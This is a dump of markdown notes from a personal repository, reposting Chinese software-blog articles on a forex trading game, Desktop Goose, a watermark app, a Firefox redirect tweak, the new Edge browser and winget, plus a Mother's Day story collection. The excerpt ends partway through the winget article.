"license_type": "no_license", "max_line_length": 644, "num_lines": 62, "path": "/博客/小众软件/Trading Game 交易游戏 – 快速掌握真实外汇交易.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Trading Game 交易游戏 – 快速掌握真实外汇交易\n![](assets/image_8.png)\n\n[交易游戏](https://tradinggame.com/) (Trading Game)是⼀款功能强⼤的外汇交易游戏软件,通过趣味⼗⾜的学习课程以及模拟真实的外汇交易,让⽤户轻松掌握外汇交易。\n\n⽆论是炒股票、外汇、期权、⽯油还是 黄⾦,都是⾼风险⾼收益的赚钱⽅式。 曾经作为⼩⽩的我,⼀开始就进⾏了实操,但是由于缺乏相关知识和实操经验, 不淡定的我往往是 **⾼买低卖** ,最后亏了不少钱 &#129402;。抱着试⼀试的态度,我下载了 **Trading Game** ,既可以炒股,又可以炒外汇、黄⾦、⽯油甚⾄是⽐特币。通过不断地学习和模拟交易,我的外汇交易能⼒渐⼊佳境 &#128526; 。\n\n![](assets/image_5.png)\n\n![](assets/image_9.png)\n\n在 Trading Game,⽤户可以在外汇交易学校板块学习基本的外汇交易知识,每完成⼀ 堂课即可获得相应的虚拟奖励,进阶之后则在外汇⼤学板块学习更加专业的内容。从此纷繁复杂的图表不再成为炒外汇的阻碍,让你在外汇交易市场⾃由驰骋 &#129464; 。\n\n![](assets/image_11.png)\n\n![](assets/image_6.png)\n\n与此同时,还可以⽤赢得的虚拟⾦钱在模拟交易中体验⾼达55种不同的交易,包括股票、 外汇、⽯油、⻩黄⾦、⽐特币等重头交易,并且还有 USD/CNY 外汇交易,让你领略⾃由市场的魅⼒ &#129297;。\n\n![](assets/image_3.png)\n\n![](assets/image_1.png)\n\n你甚⾄还可以和其他⽤户⽐赛,看看谁赚得最多!\n\n![](assets/image_10.png)\n\n![](assets/image_7.png)\n\n想测试⾃⼰学到了那些外汇交易知识?可选择业余级和专家级别,以简单有趣的⽅式掌握和巩固⾃⼰的外汇交易技能&#128521; 。每次测试为10道选择题,涉及图表、经济⼈物、外汇理论、 交易常识等,可重复进⾏测试,题库将会⾃动更换,让你的外汇知识获得全⾯的巩固和提⾼。\n\n![](assets/image_2.png)\n\n![](assets/image_4.png)\n\n通过 Trading Game 寓教于乐的知识课堂和玩法多样的模拟交易,⼩⽩也可以在外汇市场中运筹帷 幄,独领⻛风骚。当你在这⾥获得了⾜够的外汇交易知识和经验,那么恭喜你,你离⾛上⼈⽣巅峰迎 娶⽩富美&#128112; ⼜近了⼀步! **Trading Game** 会提供专业可靠的外汇交易经纪商,让你开启真实的外汇 交易之旅&#129312; !\n\n[点击此处访问](https://tradinggame.com/zh/) Trading Game 官⽹。Trading Game ⽀持安卓和 iOS 版本,并且⽀持中⽂语⾔,可在 [⾕歌商店](https://play.google.com/store/apps/details?id=com.tiim.tradinggame) 和 [苹果商店](https://itunes.apple.com/cn/app/trading-game-stocks-forex-options-gold-bitcoin/id1202332044) 下载。\n\n- - - -\n\n## 相关阅读\n\n[Board Game Tools – 游戏辅助,色子、倒计时、计分器❲iOS❳](https://www.appinn.com/board-game-tools-for-ios/)\n\n[Game Fire – 一键激活游戏模式](https://www.appinn.com/game-fire/)\n\n[Life’s Game: Make Everyday a Game – 做任务得经验值,生活就是打游戏 ❲Android❳](https://www.appinn.com/lifes-game-make-everyday-a-game/)\n\n[Vitamini Game – 维他迷你方块](https://www.appinn.com/vitamini-game/)\n\n[Brick Game Simulator最怀旧的方块游戏机模拟器❲Android❳](https://www.appinn.com/android-brick-game-simulator/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](http://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/trading-game/#comments) 收藏0\n\nvia John Youi's favorite articles on Inoreader [http://bit.ly/2N5QCcd](http://bit.ly/2N5QCcd)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7968875765800476, "alphanum_fraction": 0.8272068500518799, "avg_line_length": 43.380950927734375, "blob_id": "022f0e45abbaa4e8488707e573e3a16b8c0a16a7", "content_id": "7ed9022b30a3f886da955a1f666dc92e150ad420", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 9758, "license_type": "no_license", "max_line_length": 360, "num_lines": 84, "path": "/图片/有意思吧/蓝色水晶:母亲节,献给天下的父母.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 蓝色水晶:母亲节,献给天下的父母\n \n![](assets/image_1.jpeg)\n \n\n母亲节快到了,有心写一些东西给天下的父母,感谢他们的养育之恩。奈何肚中赘肉虽多,墨水却寥寥无几。因此特意到网上找了些关于母亲的故事和视频,来分享给大家。虽说老人不图儿女为家做多大贡献(你唱起来了么),但我们在辛苦工作之时,也别忘了给家里打个电话报个平安,嘘个寒问个暖,这也花不了您的多长时间。\n\n**1、歌曲《天亮了》**\n\n这是我找的最早的一个视频了。我们不需要奢华的舞台,华丽的着装。我们只需要静静的品味歌手深含的感情就好了。建议看完故事再来看视频。\n\n1999年10月3日,在贵州马岭河风景区,爸爸妈妈带着他们的孩子在坐缆车的时候,缆车从山谷上掉了下来。爸爸妈妈用双手把他们的孩子举了起来,当缆车坠入山谷的时候发生了一声巨响。当营救人员到达清理现成时,发现缆车已经摔的不成了样子,小孩的爸爸妈妈也血肉模糊,可是小孩一点事也没有,一点也没有受伤。可见天地下父母对孩子的爱有多深。\n\n这个生命的故事,深深打动了歌手韩红,经过多方联系,她领养了这个大难不死的小孩,韩红连续两次在3·15晚会上演唱了《天亮了》这首歌,打动了亿万电视观众。(大人小孩的名字我刻意省略了。逝者已去,但生者还需坚强成长。附:韩红坦言她已经想好了,不会要孩子,因为她觉得一个就够了。我觉得她会是一位好母亲。)\n\n**2、公益广告:帮妈妈洗脚**\n\n还记得这个视频么?这应该是我小时候的公益广告了。可以说它影响了一代人。现在每到母亲节,报纸电视上就会有很多讲给妈妈洗脚的新闻。其实没必要这样。如果跟爸妈住一起,就多陪家人干干活,说说话。不住一起,就平时多打打电话。过节回去给家里买点穿的,用的,吃的,意思到了就成。我过年时,回去看到爸妈的头上已经爬满了白发,感觉他们明显的瘦了。给他们钱也不要,买吃的也舍不得吃。所以我现在尽量买衣服回去,告诉他们价格就减个零。\n\n**3、歌曲《感恩的心》手语版**\n\n这歌大家不陌生吧,好多公益晚会上都有唱。它的手语也很好学,可以在年终表演时露一手。但谁有知道它的背后呢?\n\n这是发生在台湾的一个真实的故事。 有一个天生失语失聪的小女孩,她和妈妈相依为命。妈妈每天很早出去工作,干着繁重的活来维持家计。每到日落时分,小女孩就开始站在家门口,充满期待地望着门前的那条路,因为妈妈每天都会给她带一块年糕回家。在她们贫穷的日子里,一块小小的年糕都是人间的美味了,这也是小女孩最快乐的时候了。\n\n有一天,下着很大的雨,已经过了晚饭时间了,妈妈却还没有回来。小女孩站在家门口望啊望啊,总也等不到妈妈的身影。天,越来越黑,雨,越下越大,小女孩决定顺着妈妈每天回来的路自己去找妈妈。她走啊走啊,走了很远,终于在路边看见了倒在地上的妈妈。她发现妈妈的眼睛没有闭上,她使劲摇着妈妈的身体,妈妈却没有回答她。她感到恐惧,拉过妈妈的手使劲摇晃,却发现妈妈的手里还紧紧地拽着一块年糕。她拼命地哭着,却发不出一点声音……\n\n雨一直在下,小女孩也不知哭了多久。她知道妈妈再也不会醒来,现在就只剩下她自己。悲伤绝望之时,小女孩擦干眼泪,决定用自己的语言来告诉妈妈她一定会好好地活着,让妈妈放心地走……\n\n小女孩就在雨中一遍一遍用手语做着这首《感恩的心》,泪水和雨水混在一起,从她小小的却写满坚强的脸上滑过:“感恩的心,感谢有你,伴我一生,让我有勇气做我自己;感恩的心,感谢命运,花开花落,我一样会珍惜,”她就这样站在雨中不停歇地做着,一直到妈妈的眼睛终于闭上……\n\n**4、母亲的勇气**\n\n这是大众银行的广告,这不是我们关心的。我们只要注意这是一件真实的事情就可以了。2006年12月14日深夜,台湾民视记者萧惠芬在洛杉矶遇到了一个纯朴的台湾阿嬷。她千里迢迢从台湾飞到委内瑞拉,想要看看自女儿嫁得怎么样,住得如何,顺便看看自己的孙子,再帮刚生第二胎的女儿坐月子。\n但是,不会西文、英文,国语也说的不太好的阿嬷徐莺瑞,只能靠著一张破破烂烂的中文、英文、西文对照的小抄,一路从台北转洛杉矶再转委内瑞拉,万里长征过来。\n在洛杉矶,因为华航回台北的班机是第二天下午,所以她女儿特别请洛杉矶的友人来接她母亲在当地住一晚上。只是,由于少填写了一张入境表,让阿嬷被机场的工作人员带进问询室接受询问,站在她身后的萧惠芬正好帮助了她。\n\n是什么让她有如此勇气,独自一人搭乘飞机三天,甚至还经过多次的转机。答案是她对女儿无私的爱。如果是你,你可以么?\n\n**5** **、** **歌曲《酒干倘卖无》**\n\n“酒干倘卖无”,就是说,“有空酒瓶卖么?”\n\n一个跛脚的老人靠收集一些空酒瓶养活着自己,老人有些聋哑,不会说话,孤单的一个人。有一天,老人在街上捡到了一个孩子,他欣喜异常,用辛苦收换来的空酒瓶钱,买来廉价的奶粉,硬是让那个小女孩活了下来。\n\n小女孩长大了,她爱上了一位作词家。女孩的声音很脆很好听,作词家为她写下了很多的歌曲,还亲自谱成曲,让她唱。作词家对聋哑老人也非常好,一家人,生活很幸福。\n\n但是当女孩成名了以后,从此不回酒瓶屋了,因为又聋又哑的爸爸,让她觉得羞辱。\n\n老人终于因为思念女儿而疾劳成疾,终于病倒了,老人挣扎着起来想见女儿最后一面。\n\n当老人终于见到女儿时,一行老泪缓缓地顺着腮边流下,老人什么话也不能说出口,只是微笑地望着女儿,慢慢地闭上了眼睛。\n\n行孝要趁早,莫等后悔迟。这就是我想说的。\n\n**6、伟大的父亲,伟大的父爱**\n\n主人翁是美国人。\n\n43年前,当我儿子里奇出生的时候,他得了脑瘫,成了植物人,只有他的眼睛可以用来交流。有一天儿子说,当我们一起跑步得时候,我能感觉到自己是正常人。这句话改变了我的一生,我要让他觉得自己能行,于是我们参加了1979年的全程26.2里波士顿马拉松,我们一起参加了24届马拉松,最好成绩是2小时40分钟,离当时的世界记录只有35分钟。我想做个好爸爸,我骑车带着儿子环游全美,抱着他爬山,儿子说,我是美国第一父亲,今年我65,儿子43,现在住在荷兰,儿子最大的心愿就是,我坐在轮椅里,他推我一次。\n母爱如雨,绵绵地滋润我们。父爱如山,为我们遮挡风雨。有时候反而和妈妈更容易说出一些感动的话,跟父亲却很难。男人的爱,如同火山,表面平静,但内心火热。在这里我也要说:爸爸,我爱你,少干点活吧。儿子自己也能努力,注意身体健康。\n\n**7、伟大的母爱令两位主播失控流泪**\n\n不知道你什么时候看到这视频。我在写这帖子时,明天就是汶川地震4周年了,让我们再来回顾一下吧。让我们再来看看那位伟大的妈妈吧。说老实话,我刚才再看一遍时,眼泪又情不自禁地流了下来。\n\n汶川地震中母亲留给孩子的短信(遗言)这样写的:亲爱的宝贝,如果你能活着,一定要记住我爱你!\n\n这次就放这么多吧。当然上面的视频可能情况都比较特殊,我们现实生活可能是平淡的。我们的父母虽然是平凡的,但他们也同样是伟大的,他们对我们的爱是倾其一生的。我希望在礼拜天那一天,不管你有多忙,不管你有多累,不管你身在何处,放下手中的事情,拿起手中的电话,打给爸妈,说两句感恩的话,聊两句家常。就这么简单。好么?\n\n如果你还有什么话,不好意思启齿的,也可以在这里留下对父母想说的话。\n\n(这次发帖,我大概看了将近60多个视频吧,好多好的视频,我尽量去掉那些广告的,但也有广告视频发上来的,没关系,不要管它,我们看到那些父母的爱就可以了。最后祝天下的父母身体健康,长命百岁。)\n\n下台鞠躬!!!\n\n查看详情评论: [蓝色水晶:母亲节,献给天下的父母](http://www.u148.net/article/65299.html)\n本文原始链接: [http://www.u148.net/article/65299.html](http://www.u148.net/article/65299.html)\n更多精彩内容: [创意视频](http://www.u148.net/video.html) ┊ [清新图画](http://www.u148.net/image.html) ┊ [好玩游戏](http://www.u148.net/game.html) ┊ [动听音乐](http://www.u148.net/audio.html) ┊ [情感文字](http://www.u148.net/text.html) ┊ [乱七八糟](http://www.u148.net/mix.html) ┊ [讨论小组](http://www.u148.net/group/) ┊ [淘宝皇冠店](http://dianpu.tao123.com/?pid=mm_26142575_0_0&amp;eventid=102167)\n闲逛好站推荐: [爱偷闲(www.iTouxian.com)](http://www.itouxian.com) ,分享身边的美好事、搞笑事、幸福事、蛋疼事…[点此进入](http://www.itouxian.com)\n\n来自 有意思吧\n\n#博客/有意思吧" }, { "alpha_fraction": 0.739393949508667, "alphanum_fraction": 0.7601731419563293, "avg_line_length": 45.220001220703125, "blob_id": "cc215b0237a9ad78c23d2f85a27d1768add025b1", "content_id": "40e724e55a215384cad0d3875303299fe9522ff1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3423, "license_type": "no_license", "max_line_length": 537, "num_lines": 50, "path": "/博客/小众软件/Desktop Goose – 给你的电脑加上一直会捣乱的鹅,作为桌面宠物[WinmacOS].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Desktop Goose – 给你的电脑加上一直会捣乱的鹅,作为桌面宠物[Win/macOS]\n[小众软件 Desktop Goose – 给你的电脑加上一直会捣乱的鹅,作为桌面宠物❲Win/macOS❳](https://www.appinn.com/desktop-goose/) \n\n[Desktop Goose](https://www.appinn.com/desktop-goose/) 是一个非常有意思的小玩具,它能够在桌面上显示一只鹅,而这只鹅会破坏你的桌面,比如拿出一个记事本,写着好好工作;比如拉出一张照片;比如在桌面留下脚印;比如叼走你的鼠标…非常有趣,支持 Windows 与 macOS 系统。@Appinn\n\n![](assets/image_1.jpeg)\n\n感谢 @ *[KASUSA](https://www.appinn.com/ppet-desktop-pet/#comment-464737)* 的推荐:给你的电脑加上一直捣乱的鹅作为桌面宠物。\n\nDesktop Goose 是一款 [趣味软件](https://www.appinn.com/category/interesting/) 啦,没有什么实际用途,就是…好玩。但好玩就是实际用途的一种啊。\n\n先来看视频效果:\n\n直接运行 Desktop Goose 就会在桌面上出现一只鹅,如果想要两只鹅,就运行两次,想要三只…\n\n然后,就不用管它了。因为这只鹅并不受你的控制,它会自己决定什么时候开始表演。\n\n其实并没有什么黑科技,Desktop Goose 的所有内容都保存在 Assets 文件夹内,包括图片、音效、文字以及 Mods,都可以自定义。启用 Mod 需要修改配置文件。但现在似乎没什么 Mod 可供下载。\n\n![](assets/image_2.jpeg)\n\n你可以把女朋友的照片和一些甜言蜜语放进入,一个小小的惊喜就这样诞生了。\n\n退出方式:长按 ESC 键,直到退出。\n\n由于 Desktop Goose 采取用户定价下载(可免费),请自行从 [官网下载](https://samperson.itch.io/desktop-goose) 。\n\n继续阅读:《 [面对电脑的时间有点多,求桌面宠物](https://www.appinn.com/ppet-desktop-pet/) 》\n\n- - - -\n\n## 相关阅读\n\n* [虚拟机 Parallels Desktop 13/14 特价,并加送 Windows 10 家庭版](https://www.appinn.com/parallels-desktop-14-lizhi/)\n* [Real DeskTOP – 让你的桌面成传说中的 3D 效果](https://www.appinn.com/real-desktop/)\n* [终于来了,微软时隔 1 年更新 iPhone 版 Microsoft 远程桌面 应用](https://www.appinn.com/microsoft-remote-desktop-100-for-ios/)\n* [Desktop Zoom – 放大到全屏幕](https://www.appinn.com/desktop-zoom/)\n* [Gladinet Cloud Desktop – Skydrive/Docs/Picasa/Amazon S3 客户端程序](https://www.appinn.com/gladinet-cloud-desktop-skydrive-googledocs-picasaweb-amazon-s3/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/desktop-goose/#comments) 收藏0\n\n[https://www.appinn.com/desktop-goose/](https://www.appinn.com/desktop-goose/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7196221351623535, "alphanum_fraction": 0.7466723918914795, "avg_line_length": 38.49152374267578, "blob_id": "934966470b6a1e80e313f066f29e85b4d67c71ab", "content_id": "b1c1ea4e759d3dc8ae64a25bf636dd31a0a98909", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3472, "license_type": "no_license", "max_line_length": 537, "num_lines": 59, "path": "/博客/小众软件/简单水印 – 为照片、证件照简单加个水印[Android].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 简单水印 – 为照片、证件照简单加个水印[Android]\n[小众软件 简单水印 – 为照片、证件照简单加个水印❲Android❳](https://www.appinn.com/easywatermark-for-android/) \n\n\n[简单水印](https://www.appinn.com/easywatermark-for-android/) 是一款为照片、证件照、图片加水印的开源 Android 小工具,支持图片、文字水印,可自定义样式,可离线使用,尤其适合为身份证照片添加水印,保护隐私。@Appinn\n\n![](assets/image_1.jpeg)\n\n感谢 @阿韬 的推荐。\n\n虽然有很多加水印的工具,比如一些小程序,或者之前的 [水水的证件](https://www.appinn.com/id-watermark-online/) ,都出现了一个需要自证清白的问题。所以简单水印的方式也简单,开源、离线使用,不需要网络权限。\n\n简单水印的水印方式是在图片上加上很多排、很多列的水印,然后让用户自己调整样式,比如水平间距、垂直间距、颜色、角度、字体大小、,最重要的是,使用简单。\n\n![](assets/image_3.jpeg)\n\n![](assets/image_2.jpeg)\n\n青小蛙觉得,这种水印的样式有点像那些八卦记者们发图后打得浓厚版水印,当然简单水印的效果要好很多,没那么粗暴。\n\n开发者 @ **rosuH** 同学还 [提到了](https://v2ex.com/t/703566) 简单水印的一些优点:\n\n* 横竖间距均可调节,颜色明暗随心转换\n* 大小角度自由旋转,文字图片皆可打上\n* 水印重复全图铺满,坏蛋除水印有点难\n\n![](assets/image_4.gif)\n\n你可以在以下几个地方下载到简单水印:\n\n* [Github Release](https://github.com/rosuH/EasyWatermark/releases)\n* [酷安](https://www.coolapk.com/apk/272743)\n* [Google Play](https://play.google.com/store/apps/details?id=me.rosuh.easywatermark)\n\n注意 Play 商店为付费版本,功能完全相同,想支持开发者的可以前往付费下载,只需要 0.99 刀。\n\n![](assets/image_5.jpeg)\n\n- - - -\n\n## 相关阅读\n\n* [一次玩个够,43 款喵星人游戏](https://www.appinn.com/41-cats-games/)\n* [10 款有用的 Android 版本 Firefox 扩展](https://www.appinn.com/10-addons-android-firefox/)\n* [2015 年度 Play 最佳游戏.第二部分❲Android❳](https://www.appinn.com/bestof2015-play-games-part2/)\n* [Island – 「绿色守护」作者新作,将不老实的应用 隔离 + 冻结 + 双开 ❲Android❳](https://www.appinn.com/oasisfeng-island/)\n* [未 root 也能体验最新鲜 Android N,只需 Nexus 设备,OTA 升级](https://www.appinn.com/android-n-beta-program-work/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/easywatermark-for-android/#comments) 收藏0\n\n[https://www.appinn.com/easywatermark-for-android/](https://www.appinn.com/easywatermark-for-android/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7449026107788086, "alphanum_fraction": 0.7621205449104309, "avg_line_length": 45.978721618652344, "blob_id": "1e0091608cdbf74c9d83dedfa51f706e26898955", "content_id": "b0ce3dd589759405f68c6f8ee36c0a65f98d89f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3278, "license_type": "no_license", "max_line_length": 537, "num_lines": 47, "path": "/博客/小众软件/如何用安卓手机浏览器访问网页而不被强制跳转 App.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 如何用安卓手机浏览器访问网页而不被强制跳转 App\n[小众软件 如何用安卓手机浏览器访问网页而不被强制跳转 App](https://www.appinn.com/protocol-handler-external-default-firefox/) \n\n来自 @ [Tal](https://meta.appinn.net/u/Tal) 同学的问题: [手机火狐访问知乎、简书如何不转跳到APP](https://meta.appinn.net/t/app/17323) 。其实这也是青小蛙的问题,国内很多网站为了推广 App 已经弱化了网页,甚至不提供网页浏览功能,但更多的是当你打开页面的一瞬间跳转到 App,如未安装 App 则强制跳转到应用市场,非常恼人。@Appinn\n\n![](assets/image_1.jpeg)\n\n这里的 **很多网站** 几乎包括了国内各大网站…当你点击链接时,就会莫名其妙的打开应用市场… 这个体验太糟糕了。虽然你可以安装这个 app 之后免除这个烦恼,但…不是说有选择的权利么?\n\n@Tal 的全部问题描述是这样的: \n\n> 如题,手机没有装这两个APP,但打开这两个网站之后还是会转跳,无法正常查看内容。用查看电脑版的方法可以解决,但是字太小了,缩放太不方便。 \n\n> 然后,还发现在加载完之前点x,可以让他不转跳,但这……有点考验手速。 \n\n> 大家有没有什么解决办法呀。插件或者油猴脚本啥的。多谢啦~~ \n\n@ *[Dalieba](https://meta.appinn.net/u/Dalieba)* 同学提供了一个非常赞的方法,只需要使用 Android 版本的 Firefox 浏览器,然后:\n\n1. 在浏览器输入 **about:config** 打开配置页面\n2. 搜索 **network.protocol-handler.external-default** 并将其从 true 修改为 false\n\n![](assets/image_2.jpeg)\n\n之后,在 Firefox 中打开之前的那些网址,这个问题应该是临时解决了…\n\n- - - -\n\n## 相关阅读\n\n* [如何同时运行两个配置,扩展完全不一样的 Firefox](https://www.appinn.com/running-two-firefox/)\n* [Copy Handler – 又一款 COPY 软件](https://www.appinn.com/copy-handler/)\n* [Blank Canvas Script Handler – Chrome Greasemonkey 脚本管理器](https://www.appinn.com/blank-canvas-script-handler-greasemonkey-manager-for-chrome/)\n* [30 款漂亮的 Firefox 壁纸收集](https://www.appinn.com/30-top-firefox-wallpaper-collection/)\n* [赞助商](https://www.appinn.com/sponsors/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/protocol-handler-external-default-firefox/#comments) 收藏0\n\n[https://www.appinn.com/protocol-handler-external-default-firefox/](https://www.appinn.com/protocol-handler-external-default-firefox/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.7703827023506165, "avg_line_length": 51.28260803222656, "blob_id": "5ed22e5b77cdd0d6d3214a4dae388a2c96b8c303", "content_id": "08e440a68fda1088176d1a5cdceafd85b8d371f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3551, "license_type": "no_license", "max_line_length": 537, "num_lines": 46, "path": "/博客/小众软件/微软正式发布基于 Chromium 的浏览器 the New Microsoft Edge.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 微软正式发布基于 Chromium 的浏览器 the New Microsoft Edge\n[小众软件 微软正式发布基于 Chromium 的浏览器 the New Microsoft Edge](https://www.appinn.com/the-new-microsoft-edge-base-chromium/) \n\n微软正式发布了基于 Chromium 内核的新版浏览器 **the New Microsoft Edge** ,拥有更快的速度、更低的内存占用,更多的隐私选项,支持 Windows 7、8、8.1、10 和 macOS,支持全部现有的 Chrome 扩展。@Appinn\n\n![](assets/image_2.png)\n\n青小蛙已经在 Windows 上使用过一段时间的测试版 Microsoft Edge 浏览器了,最大的感觉就是相比之前的 Edge 浏览器,响应速度更快了,更能体验现代浏览器的特性(得益于 Chrome 的垄断地位), **完全兼容 Chrome 插件并且可直接使用 Chrome 应用商店。**\n\n尤其最后一点,对于 Chrome 用户来说,可以做到完全无缝切换,其实青小蛙的确在一台配置很低的机器上干掉了 Chrome。\n\n比较好笑的事情是,今天早上在下载 **the New Microsoft Edge** 的时候,青小蛙同时打开了老版的 edge 和 Chrome,当 Chrome 打开了页面之后,edge 还在启动中 edge 真的是太老了。\n\n但是不要忘记,还有海量的 IE 用户,\n\n这次正式版提供了 Windows 7 版本也是一个惊喜,要知道前天是 Windows 7 的最后支持日期,从今以后 Windows 7 将不再获得微软的官方支持,如果有漏洞就只能自求多福了。更新 Windows 10 可能是唯一的选择。\n\n![](assets/image_1.jpeg)\n\n而在此之后,更多的开发者会上架扩展至微软商店,得益于微软的关系,国内的 Edge 用户将有很大可能享受到完整的 Chrome 扩展服务。人畜无害的 Chrome 扩展商店可能会以这种方式回归,青小蛙也是想不到的。\n\nthe New Microsoft Edge 下载地址: [https://www.microsoft.com/en-us/edge](https://www.microsoft.com/en-us/edge/?ref=appinn)\n\n注意:下载页面为英文,但安装后拥有简体中文\n\n- - - -\n\n## 相关阅读\n\n* [微软的 150 款免费软件❲部分,待更新❳](https://www.appinn.com/ultimate-list-of-free-windows-software-from-microsoft/)\n* [2011 小众元旦抽奖结果](https://www.appinn.com/2011-new-years-day-lottery-final/)\n* [微软 Edge 浏览器 正式发布 iOS 与 Android 版本](https://www.appinn.com/edge-for-ios-android/)\n* [基于 Chromium 的微软 Edge 浏览器泄漏,真香](https://www.appinn.com/chromium-based-microsoft-edge-for-windows/)\n* [Google chromium – 支持某些 GreaseMonkey!](https://www.appinn.com/google-chromium-greasemonkey/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/the-new-microsoft-edge-base-chromium/#comments) 收藏0\n\n[https://www.appinn.com/the-new-microsoft-edge-base-chromium/](https://www.appinn.com/the-new-microsoft-edge-base-chromium/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7355085015296936, "alphanum_fraction": 0.7497396469116211, "avg_line_length": 37.945945739746094, "blob_id": "5b1e125fece26272af8609be571e131022fb9c7e", "content_id": "4bae9190b68f1e613fa267c937f6183b1d1180eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4214, "license_type": "no_license", "max_line_length": 537, "num_lines": 74, "path": "/博客/小众软件/Windows 程序包管理器:使用 winget 安装 Edge 浏览器[视频].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Windows 程序包管理器:使用 winget 安装 Edge 浏览器[视频]\n[小众软件 Windows 程序包管理器:使用 winget 安装 Edge 浏览器❲视频❳](https://www.appinn.com/use-winget-to-install-edge/) \n\nWindows 程序包管理器是微软刚刚发布的程序包管理器解决方案,包含了一款命令行工具 winget,主要面向开发者和软件提供商,用来搜索、安装、升级、删除和配置特选应用程序集,也就是说以后普通用户只需要敲击几下命令就能安装软件了,省去了传统搜索、下载软件安装包的过程。@Appinn\n\n![](assets/image_1.jpeg)\n\n注意目前的 Windows 程序包管理器和 **winget** 工具均为公共预览版,仅支持 Windows 10。\n\n## 安装 winget\n\n微软 [提供了](https://docs.microsoft.com/zh-cn/windows/package-manager/winget/) 有多种方式安装 winget,青小蛙是通过登记表格之后,在 Windows Store 自动安装。更简单的方式是 [在 GitHub 下载](https://github.com/microsoft/winget-cli/releases) 